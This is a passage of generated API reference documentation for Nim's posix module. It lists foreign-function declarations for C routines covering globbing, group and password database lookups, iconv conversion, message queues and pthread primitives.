[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L189) ``` proc fmtmsg(a1: int; a2: cstring; a3: cint; a4, a5, a6: cstring): cint {...}{. importc, header: "<fmtmsg.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L193) ``` proc fnmatch(a1, a2: cstring; a3: cint): cint {...}{.importc, header: "<fnmatch.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L196) ``` proc ftw(a1: cstring; a2: proc (x1: cstring; x2: ptr Stat; x3: cint): cint {...}{.noconv.}; a3: cint): cint {...}{.importc, header: "<ftw.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L197) ``` proc glob(a1: cstring; a2: cint; a3: proc (x1: cstring; x2: cint): cint {...}{.noconv.}; a4: ptr Glob): cint {...}{. importc, header: "<glob.h>", sideEffect.} ``` Filename globbing. Use [os.walkPattern()](os#glob_1) and similar. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L207) ``` proc globfree(a1: ptr Glob) {...}{.importc, header: "<glob.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L212) ``` proc getgrgid(a1: Gid): ptr Group {...}{.importc, header: "<grp.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L214) ``` proc getgrnam(a1: cstring): ptr Group {...}{.importc, header: "<grp.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L215) ``` proc getgrgid_r(a1: Gid; a2: ptr Group; a3: cstring; a4: int; a5: ptr ptr Group): cint {...}{. importc, header: "<grp.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L216) ``` proc getgrnam_r(a1: cstring; a2: ptr Group; a3: cstring; a4: int; a5: ptr ptr Group): cint {...}{.importc, header: "<grp.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L218) ``` proc getgrent(): ptr Group {...}{.importc, header: "<grp.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L221) ``` proc endgrent() {...}{.importc, header: "<grp.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L222) ``` proc setgrent() {...}{.importc, header: "<grp.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L223) ``` proc iconv_open(a1, a2: cstring): Iconv {...}{.importc, header: "<iconv.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L226) ``` proc iconv(a1: Iconv; a2: var cstring; a3: var int; a4: var cstring; a5: var int): int {...}{. importc, header: "<iconv.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L227) ``` proc iconv_close(a1: Iconv): cint {...}{.importc, header: "<iconv.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L229) ``` proc nl_langinfo(a1: Nl_item): cstring {...}{.importc, header: "<langinfo.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L231) ``` proc basename(a1: cstring): cstring {...}{.importc, header: "<libgen.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L233) ``` proc dirname(a1: cstring): cstring {...}{.importc, header: "<libgen.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L234) ``` proc localeconv(): ptr Lconv {...}{.importc, header: "<locale.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L236) ``` proc setlocale(a1: cint; a2: cstring): cstring {...}{.importc, header: "<locale.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L237) ``` proc strfmon(a1: cstring; a2: int; a3: cstring): int {...}{.varargs, importc, header: "<monetary.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L240) ``` proc mq_close(a1: Mqd): cint {...}{.importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L244) ``` proc mq_getattr(a1: Mqd; a2: ptr MqAttr): cint {...}{.importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L245) ``` proc mq_notify(a1: Mqd; a2: ptr SigEvent): cint {...}{.importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L247) ``` proc mq_open(a1: cstring; a2: cint): Mqd {...}{.varargs, importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L249) ``` proc mq_receive(a1: Mqd; a2: cstring; a3: int; a4: var int): int {...}{.importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L251) ``` proc mq_send(a1: Mqd; a2: cstring; a3: int; a4: int): cint {...}{.importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L253) ``` proc mq_setattr(a1: Mqd; a2, a3: ptr MqAttr): cint {...}{.importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L255) ``` proc mq_timedreceive(a1: Mqd; a2: cstring; a3: int; a4: int; a5: ptr Timespec): int {...}{. importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L258) ``` proc mq_timedsend(a1: Mqd; a2: cstring; a3: int; a4: int; a5: ptr Timespec): cint {...}{. importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L260) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L260) ``` proc mq_unlink(a1: cstring): cint {...}{.importc, header: "<mqueue.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L262) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L262) ``` proc getpwnam(a1: cstring): ptr Passwd {...}{.importc, header: "<pwd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L265) ``` proc getpwuid(a1: Uid): ptr Passwd {...}{.importc, header: "<pwd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L266) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L266) ``` proc getpwnam_r(a1: cstring; a2: ptr Passwd; a3: cstring; a4: int; a5: ptr ptr Passwd): cint {...}{.importc, header: "<pwd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L267) ``` proc getpwuid_r(a1: Uid; a2: ptr Passwd; a3: cstring; a4: int; a5: ptr ptr Passwd): cint {...}{.importc, header: "<pwd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L269) ``` proc endpwent() {...}{.importc, header: "<pwd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L271) ``` proc getpwent(): ptr Passwd {...}{.importc, header: "<pwd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L272) ``` proc setpwent() {...}{.importc, header: "<pwd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L273) ``` proc uname(a1: var Utsname): cint {...}{.importc, header: "<sys/utsname.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L275) ``` proc strerror(errnum: cint): cstring {...}{.importc, header: "<string.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L277) ``` proc pthread_atfork(a1, a2, a3: proc () {...}{.noconv.}): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L279) ``` proc pthread_attr_destroy(a1: ptr Pthread_attr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L281) ``` proc pthread_attr_getdetachstate(a1: ptr Pthread_attr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L283) ``` proc pthread_attr_getguardsize(a1: ptr Pthread_attr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L285) ``` proc pthread_attr_getinheritsched(a1: ptr Pthread_attr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L287) ``` proc pthread_attr_getschedparam(a1: ptr Pthread_attr; a2: ptr Sched_param): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L289) ``` proc pthread_attr_getschedpolicy(a1: ptr Pthread_attr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L291) ``` proc pthread_attr_getscope(a1: ptr Pthread_attr; a2: var cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L293) ``` proc pthread_attr_getstack(a1: ptr Pthread_attr; a2: var pointer; a3: var int): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L295) ``` proc pthread_attr_getstackaddr(a1: ptr Pthread_attr; a2: var pointer): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L297) ``` proc pthread_attr_getstacksize(a1: ptr Pthread_attr; a2: var int): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L299) ``` proc pthread_attr_init(a1: ptr Pthread_attr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L301) ``` proc pthread_attr_setdetachstate(a1: ptr Pthread_attr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L303) ``` proc pthread_attr_setguardsize(a1: ptr Pthread_attr; a2: int): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L305) ``` proc pthread_attr_setinheritsched(a1: ptr Pthread_attr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L307) ``` proc pthread_attr_setschedparam(a1: ptr Pthread_attr; a2: ptr Sched_param): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L309) ``` proc pthread_attr_setschedpolicy(a1: ptr Pthread_attr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L311) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L311) ``` proc pthread_attr_setscope(a1: ptr Pthread_attr; a2: cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L313) ``` proc pthread_attr_setstack(a1: ptr Pthread_attr; a2: pointer; a3: int): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L315) ``` proc pthread_attr_setstackaddr(a1: ptr Pthread_attr; a2: pointer): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L317) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L317) ``` proc pthread_attr_setstacksize(a1: ptr Pthread_attr; a2: int): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L319) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L319) ``` proc pthread_barrier_destroy(a1: ptr Pthread_barrier): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L321) ``` proc pthread_barrier_init(a1: ptr Pthread_barrier; a2: ptr Pthread_barrierattr; a3: cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L323) ``` proc pthread_barrier_wait(a1: ptr Pthread_barrier): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L326) ``` proc pthread_barrierattr_destroy(a1: ptr Pthread_barrierattr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L328) ``` proc pthread_barrierattr_getpshared(a1: ptr Pthread_barrierattr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L330) ``` proc pthread_barrierattr_init(a1: ptr Pthread_barrierattr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L333) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L333) ``` proc pthread_barrierattr_setpshared(a1: ptr Pthread_barrierattr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L335) ``` proc pthread_cancel(a1: Pthread): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L337) ``` proc pthread_cleanup_push(a1: proc (x: pointer) {...}{.noconv.}; a2: pointer) {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L338) ``` proc pthread_cleanup_pop(a1: cint) {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L340) ``` proc pthread_cond_broadcast(a1: ptr Pthread_cond): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L341) ``` proc pthread_cond_destroy(a1: ptr Pthread_cond): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L343) ``` proc pthread_cond_init(a1: ptr Pthread_cond; a2: ptr Pthread_condattr): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L344) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L344) ``` proc pthread_cond_signal(a1: ptr Pthread_cond): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L346) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L346) ``` proc pthread_cond_timedwait(a1: ptr Pthread_cond; a2: ptr Pthread_mutex; a3: ptr Timespec): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L347) ``` proc pthread_cond_wait(a1: ptr Pthread_cond; a2: ptr Pthread_mutex): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L350) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L350) ``` proc pthread_condattr_destroy(a1: ptr Pthread_condattr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L352) ``` proc pthread_condattr_getclock(a1: ptr Pthread_condattr; a2: var ClockId): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L353) ``` proc pthread_condattr_getpshared(a1: ptr Pthread_condattr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L355) ``` proc pthread_condattr_init(a1: ptr Pthread_condattr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L358) ``` proc pthread_condattr_setclock(a1: ptr Pthread_condattr; a2: ClockId): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L359) ``` proc pthread_condattr_setpshared(a1: ptr Pthread_condattr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L360) ``` proc pthread_create(a1: ptr Pthread; a2: ptr Pthread_attr; a3: proc (x: pointer): pointer {...}{.noconv.}; a4: pointer): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L362) ``` proc pthread_detach(a1: Pthread): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L364) ``` proc pthread_equal(a1, a2: Pthread): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L365) ``` proc pthread_exit(a1: pointer) {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L366) ``` proc pthread_getconcurrency(): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L367) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L367) ``` proc pthread_getcpuclockid(a1: Pthread; a2: var ClockId): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L368) ``` proc pthread_getschedparam(a1: Pthread; a2: var cint; a3: ptr Sched_param): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L369) ``` proc pthread_getspecific(a1: Pthread_key): pointer {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L371) ``` proc pthread_join(a1: Pthread; a2: ptr pointer): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L372) ``` proc pthread_key_create(a1: ptr Pthread_key; a2: proc (x: pointer) {...}{.noconv.}): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L373) ``` proc pthread_key_delete(a1: Pthread_key): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L374) ``` proc pthread_mutex_destroy(a1: ptr Pthread_mutex): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L376) ``` proc pthread_mutex_getprioceiling(a1: ptr Pthread_mutex; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L377) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L377) ``` proc pthread_mutex_init(a1: ptr Pthread_mutex; a2: ptr Pthread_mutexattr): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L379) ``` proc pthread_mutex_lock(a1: ptr Pthread_mutex): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L381) ``` proc pthread_mutex_setprioceiling(a1: ptr Pthread_mutex; a2: cint; a3: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L382) ``` proc pthread_mutex_timedlock(a1: ptr Pthread_mutex; a2: ptr Timespec): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L384) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L384) ``` proc pthread_mutex_trylock(a1: ptr Pthread_mutex): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L386) ``` proc pthread_mutex_unlock(a1: ptr Pthread_mutex): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L387) ``` proc pthread_mutexattr_destroy(a1: ptr Pthread_mutexattr): cint {...}{.importc, header: "<pthread.h>".} ``` 